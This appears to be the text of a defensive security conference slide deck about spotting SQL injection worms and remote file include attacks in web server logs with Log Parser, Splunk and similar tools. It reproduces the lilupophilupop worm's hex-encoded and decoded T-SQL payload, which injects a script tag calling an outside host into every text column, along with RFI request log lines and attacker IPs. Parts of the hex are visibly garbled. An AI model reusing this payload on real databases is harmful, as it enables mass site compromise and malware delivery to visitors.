Evil Though the Lens of Web Logs

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Evil Though the Lens of Web Logs

- A quick justification for talking about myself
 - Manager, IR & Pentesting, MS Online Services
 - SANS Internet Storm Center Handler
- Suffice to say my associates and I see evil in web logs
- Research and analysis conducted for this discussion will be published as a SANS Reading Room paper



Applying Weblog Analysis

- Weblog analysis is critical to understanding how attackers are probing and targeting your sites
 - This activity helps discover web application flaws & security misconfigurations that can lead to harm
- Manual analysis is difficult and tedious
 - Use tooling and methodology described herein to better defend your enterprises
- Automating process, defining rules & alerting aid in preventing & mitigating evil being perpetrated against you
 - It's an overwhelming picture all up
 - Small, incremental step (10% wins are still wins)





Evil Though the Lens of Web Logs

- Internet Background Radiation (Abuse)
 - What is it and why is it relevant?
- Sources: Logs used for this analysis
 - Holisticinfosec.org, ISC, MS
- Attacks & tools for analysis
 - Highlighter, Splunk, LogParser, custom
 - What can be learned about attackers & victims logs
 - Demos
- Statistical overview







Internet Background Radiation (IBR)

Internet Background Radiation (IBR)

- Initial study: Characteristics of Internet Background Radiation (2004)⁽¹⁾
 - "Background radiation reflects fundamentally nonproductive traffic, either malicious (flooding backscatter, scans for vulnerabilities, worms) or benign (misconfigurations)."
- Internet Background Radiation Revisited (2010) (2)
 - Address space pollution: "non uniform traffic that is primarly the result of misconfigurations including misconfigured network servers, services, and devices, misconfigured attack tools, and various other software programming bugs"
- Focused on traffic to unallocated address space

(1) Pang, Yegneswaran, Barford, Paxson, Peterson

(2) Wustrow, Karir, Bailey, Jahanian, Houston





IBR subcategory: Internet Background Abuse

- Taking liberties with the academic position
 - Internet background abuse can be defined by nonproductive traffic, either malicious (scans for vulnerabilities, worms) or benign (misconfigurations) and include allocated addresses
 - Constant, automated application layer probes and attacks constitute a statistical and measurable constant
 - How much server and network resource time is consumed?





Sources: Logs used for this analysis

Log sources

- Holisticinfosec.org
 - Site runs on LAMP so every PHP attack known to humanity is levied against it
- ISC
 - Combination of weblogs, honeypot logs, and submitted logs serve as a petri dish of evil for analysis
 - Anonymized to protect submitter privacy
- Microsoft
 - We see our share of attack traffic ©



Attacks & Analysis: What they do and how we spot it



Attack patterns

- SQL injection
 - Worms such as lilupophilupop
 - Attackers are automating, automate your defenses
- Remote File Includes (RFI)
 - RFI attacks make for interesting analysis re: attacker
 & victim patterns



SQL injection worm - lilupophilupop


- On 12.01.11 ISC received several reports of sites being injected with the following string: "></title><script src="hXXp://lilupophilupop.com/sl.php"></script>
- Extensive analysis conducted and posted by handler Mark Hofman
- Inserted into several tables, mostly targeted at ASP, IIS and MSSQL, hex injection string:
 - 73657420616e73695f7761726e696e6773206i6666204445434c415245204054205641524348415228323535292c404320564152434841522832353529204445434c415245205461626c655f437572736f7220435552534f5220464f522073656c65637420632e5441424c455f4e414d452c632e434f4c554d4e5f4e414d452066726f6d20494e464f524d4154494f4e5f534348454d412e636f6c756d6e7320632c20494e464f524d4154494f4e5f534348454d412e7461626c6573207420776865726520632e444154454525545254045520696e2028276e76617263686172272c276e74657874272c2774657874272920616e6420632e4348415241435445525f4d4158494d554d5f4c454e4754483e333020616e6420742e7461626c655f6e616d653d632e7461626c655f6e616d6520616e6420742e7461626c655f747970653d2742415345205441424c4527204f50454e205461626c655f437572736f72204645544348204e4558542046524f4d205461626c655f437572736f7220494e544f2040542c4043205748494c4528404046455443485f35354115455533d302920424547494e204558454382827555044415445205b272b40542b275d20534554205b272b40432b275d3d2727223e3c2f7469746c653e3c736372697074207372633d22687474703a2f2f6c696c75706f708696c75706f702e636f6d2f736c2e706870223e3c2f7363726970743e3c212d2d27272b52545249dd28434f4e56455254285641524348415228363030030292c5b272b40432b275d292907768657265204c45465428525545249dd28434f4e5645525428564152434841522836303030292c5b272b40432b275d2929207768657265204c45465428525545249dd28434f4e564552542856415243484152283630330392c5b272b40432b275d2929207768657265204c45465428525545249dd28434f4e56455254285641524348415228363033030292c5b272b40432b275d2929277286577469746c653e3c736372697074277202729204645544348204e4558542046524f4d205461626c655f437572736f7220494e544f2040542c404320454e4420434c4f5345205461626c655f437572736f7220494e544f2040542c404320454e4420434c4f5345205461626c655f437572736f7220494e544f2040542c404320454e4f43415445205461626c655f437572736f7220494e544f2040542c404320454e4f43415445205461626c655f437572736f7220494e544f2040542c404320454e4f43415445205461626c655f437572736f7220494e544f2040542c40432045466526655f437572736f7220494e544f20444541644664f43415445205461626c655f437572736f7220494e544f2040542c404320546f626c655f437572736f72204445414





Log Parser & Log Parser Lizard

- From a log submitted to ISC Diary (anonymized)
 - When analyzing logs for SQL injection attacks, always check for errors
 - Log Parser Lizard is a GUI for Log Parser







Log Parser & Log Parser Lizard

 Narrowed query from Log Parser Lizard hits to include 'declare' & left GUI for command-line Log Parser

```
D:\logs\lilupophilupop\logparser "SELECT EXTRACT_TOKEN(c-ip, 0, '!') AS IP, EXTRACT_TOKEN(FullUri, 0, '!') AS Uri, EXTRACT_TOKEN(cs-uri-query, -1, '!') AS Evil, COUNT(*) AS Total USING STRCAT (cs-uri-stem, REPLACE_IF_NOT_NULL(cs-uri-query, STRCAT('?', cs-uri-query))) AS FullUri FROM D:\logs\lilupophilupop\ex111201anon. log WHERE Evil LIKE '%declare%' GROUP BY IP, Uri, Evil ORDER BY Total DESC" > results.txt
```

Total

78.46.28.97 /index.asp?projectid=
1+declare+%40s+varchar%284000%29+set+%40s%3Dcast%280x73657420616e73695f7761726e696e67
45434c415245204054205641524348415228323535292c404320564152434841522832353529204445434
26c655f437572736f7220435552534f5220464f522073656c65637420632e5441424c455f4e414d452c63
5f4e414d452066726f6d20494e464f524d41544494f4e5f5334348454d412e636f6c756d6e7320632c20494
94f4e5f534348454d412e7461626c6573207420776865726520632e444154415f5459504520696e202827
72272c27766172263686172272c276e74657874272c2774657874272920616e6420632e434841524143544
d554d5f4c454e4754483e3333020616e6420742e7461626c655f6e616d653d632e7461626c655f6e616d65
7461626c655f747970653d2742415345205441424c4527204f50454e205461626c655f437572736f72204
558542046524f4d205461626c655f437572736f7220494e544f2040542c4043205748494c452840404645
545533d302920424547494e2045584543282755504441544505b272b40542b275d20534554205b272b4
7223e3c2f7469746c653e3c736372697074207372633d22687474703a2f2f6c696c75706f7068696c7570
736c2e706870223e3c2f7363726970743e3c212d2d27272b525452494d28434f4e564552542856415243
0292c5b272b40432b275d29292c3137293c3e2727223e3c2f7469746c653e3c73637269707427720272
04e4588542046524f4d205461626c655f437572736f7220494e544f2040542c40432057448440434464f53
5f437572736f72204445414c4c4f43415445205461626c655f437572736f7220494e544f2040542c40432057464542404342b275d29292c3137293c3e2727223e3c2f7469746c653e3c73637269707427720272
04e4588542046524f4d205461626c655f437572736f7220494e544f2040542c404320454e4420434c4f53
5f437572736f72204445414c4c4f43415445205461626c655f437572736f722a0494e544f2040542c404320454e4420434c4f53
5f437572736f72204445414c4c4f43415445205461626c655f4375772736f722a0494e544f2040542c404320454e4420434c4f53
5f437572736f72204445414c4c4f43415445205461626c655f4375772736f722a0494e544f2040542c404320454e4420434c4f53
5f437572736f72204445414c4c4f43415445205461626c655f4375772736f722a0494e544f2040542c404320454e4420434c4f53
5f437572736f72204445414c4c4f43415445205461626c655f4375772736f722a0494e54462a0434c4f53
5f437572736f72204445414c4c4f43415445205461

Note the HEX?




IP Evil



SQL injection worm - lilupophilupop

- Hex string (pulled from IIS logs) decoded:
- set ansi_warnings off DECLARE @T VARCHAR(255), @C VARCHAR(255) DECLARE Table_Cursor CURSOR FOR select c.TABLE_NAME,c.COLUMN_NAME from INFORMATION_SCHEMA.columns c, INFORMATION_SCHEMA.tables t where c.DATA_TYPE in ('nvarchar', 'varchar', 'text', 'text') and c.CHARACTER_MAXIMUM_LENGTH>30 and t.table_name=c.table_name and t.table_type='BASE TABLE' OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T, @C WHILE(@@FETCH_STATUS=0) BEGIN EXEC('UPDATE ['+@T+'] SET ['+@C+']=""></title><script src="http://lilupophilupop.com/sl.php"></script><!-- "+RTRIM(CONVERT(VARCHAR(6000),['+@C+'])) where LEFT(RTRIM(CONVERT(VARCHAR(6000),['+@C+'])),17)<>""></title><script" ') FETCH NEXT FROM Table_Cursor INTO @T, @C END CLOSE Table_Cursor DEALLOCATE Table_Cursor</p>
- Quick HackBar demo








Highlighter

- Incredibly nimble and fast in rendering large log files and "highlighting" entries of interest
 - Submit keyword, select color then Highlight, n hotkey moves you to first hit
 - Declare seems a logical keyword





Highlighter

- Feature set includes copy of highlighted items
 - Dump of 3 results confirmed attack from two unrelated source IPs
 - 96.9.149.82 302 error
 - 78.46.28.97 500 error

GET /index.asp linkid= 686172272c2776617263686172272c276e74657874272c2774657874272920616e6420632e4348415241435445525f4d4158494d554d5f4c454e4754483e333020616e64207 e5645525428564152434841522836303030292c5b272b40432b275d2929207768657265204c45465428525452494d28434f4e5645525428564152434841522836303030292c5b27 $4645544348204e4558542046524f4d205461626c655f437572736f7220494e544f2040542c404320454e44f20434c4f53452054\underline{616}26c655f437572736f72204445414c4c4f43415$ ion=links.detail 80 - 96.9.149.82 Mozilla/4.0+(compatible; +MSIE+7.0; +Windows+NT+6.0) - www.victim.org 302 0 1236 0 1748 35476 GET /index.asp projectid= 2415345205441424c4527204f50454e205461626c655f437572736f72204645544348204e4558542046524f4d205461626c655f437572736f7220494e544f2040542c404320415445205b272b40542b275d20534554205b272b40432b275d3d2727223e3c2f7469746c653e3c736372697074207372633d22687474703a2f2f6c6696c75706f7068696c75706f7 45544348204e4558542046524f4d205461626c655f437572736f7220494e544f2040542c404320454e4420434c4f5345205461626c655f437572736f72204445414c4c4f4341544n=projects.detail_363|80040e14|[Microsoft][ODBC_SQL_Server_Driver][SQL_Server]Incorrect_syntax_near_the_keyword_'declare'. 80 - |78.46.28.97 www.victim.org 500 0 0 23649 1752 15463 GET /index.asp committeeid= 80x73657420616e73695f7761726e696e6773206f6666204445434c415245204054205641524348415228323535292c404320564152434841522832353529204445434c415245204e414d452c632e434f4c554d4e5f4e414d452066726f6d20494e464f524d4154494f4e5f534348454d412e636f6c756d6e7320632c20494e464f524d4154494f4e5f534348454d442415345205441424c4527204f50454e205461626c655f437572736f72204645544348204e4558542046524f4d205461626c655f437572736f7220494e544f2040542c40432




- www.victim.org 500 0 0 25382 1757 999



on=committees.detail|291|80040e14|[Microsoft][ODBC_SQL_Server_Driver][SQL_Server]Incorrect_syntax_near_the_keyword_'declare'. 80

Maltego - lilupophilupop attacker IPs

 A quick Maltego query of the two evil IP addresses yield results that should come as no surprise ©





RFI attacks

- Great opportunity to study automated attack patterns
 - "Remote File Include (RFI): attack technique used to exploit "dynamic file include" mechanisms in web applications. When web applications take user input (URL, parameter value, etc.) & pass them into file include commands, the web application might be tricked into including remote files with malicious code."
 - Server: any code in the included malicious files will be run by the server. If the file include is not executed using some wrapper, code in include files is executed in the context of the server user, could lead to a complete system compromise.
 - Client: attacker's malicious code can manipulate the content of the response sent to the client. Attacker can embed malicious code in the response that will be run by the client (example: Javascript to steal client session cookies).

Source: WASC Remote File Inclusion definition





RFI attacks

- Imperva published an intelligence report on RFI attacks in May 2011
 - Imperva's report is rich in statistics, we'll discuss similar information gathering techniques
- Recent mass attack examples include TimThumb image resizing Word Press script



RFI - custom scripts

- ISC handler Rob Danford wrote a very useful Perl script that culls RFI attacks from Apache logs
 - "RFI and proxybots...critical commodity in the badness market."
 - Elegant solution via RegEx
 - Nibble away at left side of string (in simple terms, from parameter input)
 - Remainder that matches a URL after parameter input likely RFI attempt



RFI - custom scripts


Full string:

- 211.202.2.42 - [01/Nov/2011:11:10:15 -0600] "GET /content/view/184/45/index.php?_REQUEST=&_REQUEST%5boption%5d=com_content&_REQUEST%5b Itemid%5d=1&GLOBALS=&mosConfig_absolute_pat h=http://www.veterantudm.org.my/Databases/fpclass/logon.txt?? HTTP/1.1" 403 583 "-" "libwww-perl/5.79"
- Extracted result:
 - "01/Nov/2011:11:38:43 -0600","211.202.2.42","http://www.veterantudm.org.my/databases/fpclass/logon.txt"



Assess RFI via Splunk


- Useful for ANY type of log analysis
 - Imported rfi-extract results from HolisticInfoSec logs to a Splunk index
 - Allows a plethora of searchable fields with which to conduct further analysis





Assess RFI via Splunk

iplocation functionality







Ssdeep for matching & code reuse

- ssdeep is a program for computing context triggered piecewise hashes (CTPH) also known as fuzzy hashes (Jesse Kornblum)
 - Very useful for analyzing attack code reuse
 - Imperva: "We have observed hundreds of URLs that attackers attempted to remotely include within the Web applications. While the scripts are hosted at many locations, many of them are **duplicates** of each other, so the number of actual scripts that used in the attacks is small (20-30)."
- md5deep as a comparison to ssdeep

```
malman@ubuntu: ~/RFI

File Edit View Search Terminal Help

malman@ubuntu: ~/RFI$ md5deep 13494811934ef7f6b9da3bb.txt a

1d3143f4c3a18d82c9ecbc2dda8edd92 /home/malman/RFI/13494811934ef7f6b9da3bb.txt

a05dfd7cca7771a7565a154d65f05ea2 /home/malman/RFI/a

malman@ubuntu: ~/RFI$
```





Ssdeep for matching & code reuse

- ssdeep in matching mode
 - compute the fuzzy hash of one file and use matching mode to match the other one

```
malman@ubuntu: ~/RFI

File Edit View Search Terminal Help
malman@ubuntu:~/RFI$ md5deep 13494811934ef7f6b9da3bb.txt a
1d3143f4c3a18d82c9ecbc2dda8edd92 /home/malman/RFI/13494811934ef7f6b9da3bb.txt
a05dfd7cca7771a7565a154d65f05ea2 /home/malman/RFI/a
malman@ubuntu:~/RFI$ ssdeep -b a > hashes.txt
malman@ubuntu:~/RFI$ ssdeep -bm hashes.txt 13494811934ef7f6b9da3bb.txt
13494811934ef7f6b9da3bb.txt matches hashes.txt:a (32)
malman@ubuntu:~/RFI$
```

 (32) represents a match score, or a weighted measure of how similar these files are wherein the higher the number, the more similar the files


Source: http://ssdeep.sourceforge.net/usage.html





Maltego - RFI attackers

- Research via Splunk culled a list of Top 10 IPs
 - Saved IP list as CSV, import into Maltego (demo)



- Relationships between all IP addresses annotated with a simple To Website where IP appears [using Search Engine] transform
- IPFraudReporter reports five of the Top 10 for attack traffic









Statistics

Statistics - lilupophilupop victims

- As of 1.15.12
 - Approximately 1,170,000 infected sites
 - NL 556,000

PL 79,800

• AU 3,310

RU 248,000

JP 76,400

MY 3,230

FR 228,000

- TH 55,000

- AR 3,200

DE 191,000

L 48,000

- CN 1,600

UK 159,000

TR 31,100

ZA 1,100

COM 122,000

BR 11,700

ES 107,000

PT 9,890

- CA 102,000

BE 6,080

- DK 99,800

KR 5,250



Geographic distribution of attackers

Rank Country		Count	% of total
1	UNITED STATES (US)	1004	32%
2	(Unknown Country?) (XX)	808	26%
3	KOREA, REPUBLIC OF (KR)	304	10%
4	FRANCE (FR)	147	5%
5	GERMANY (DE)	126	4%
6	POLAND (PL)	88	3%
- 7	RUSSIAN FEDERATION (RU)	57	2%
8	THAILAND (TH)	54	2%
9	HONG KONG (HK)	51	2%
- 10	TAIWAN (TW)	47	2%





- Most victimized applications per top URI from remote file include attempts
 - Joomla
 - WordPress
 - E107



- Additional application vulnerabilities discovered on victim servers
 - A1 Injection & A6 Security Misconfiguration
 - http://www.akouavie.com/components/com_virtuemart/os.txt
 - Vulnerable Joomla plugin
 - Exploit.E107-1
 - See the irony?

Found: 3 Secunia Security Advisories, displaying 1-3 Sort by: Match, Title, Date

Title

VirtueMart "search_category" SQL Injection Vulnerability VirtueMart "order_status_id" SQL Injection Vulnerability VirtueMart Multiple SQL Injection Vulnerabilities Date 2011-02-01 2010-01-28 2009-01-27



Antivirus	Result	Version
AhnLab-V3	-	2012.01.15.00
AntiVir	PHP/Agent.EG.1	7.11.21.33
Antiy-AVL	-	2.0.3.7
Avast	Perl:Shellbot-Q [Trj]	6.0.1289.0
AVG	-	10.0.0.1190
BitDefender	Backdoor.PHP.ANR	7.2
ByteHero	-	1.0.0.1
CAT-QuickHeal	-	12.00
ClamAV	Exploit.E107-1	0.97.3.0





Geographic distribution of victims (Top 10 URIs)

Rank Country		Count	% of total
- 1	UNITED STATES (US)	217	7%
2	INDONESIA (ID)	217	7%
3	SLOVAK REPUBLIC (SK)	200	6%
4	MALAYSIA (MY)	105	3%
5	POLAND (PL)	60	4%
6	KOREA (KR)	57	3%
- 7	ROMANIA (RO)	55	2%
8	FRANCE (FR)	43	1%
9	CANADA (CA)	43	1%
- 10	GERMANY (DE)	42	1%





In closing

- Apply log analysis tactics
 - Passive detective activity is better than no detective activity
- Consider some form of web application firewall
 - There are certain requests that need never GET to your web server
 - WAF logs are incredibly useful as they are generated with rule logic already applied
 - WAFs can be challenging (latency, tuning) but of great benefit
 - Can be applied as passive (don't have to block)



Resources

- Highlighter
- LogParser
- Log Parser Lizard
 - http://www.lizard-labs.net/log_parser_lizard.aspx
- ISC
 - lilupophilupop
 - https://isc.sans.edu/diary/SQL+Injection+Attack+happening+ ATM/12127
- ssdeep
 - http://ssdeep.sourceforge.net/



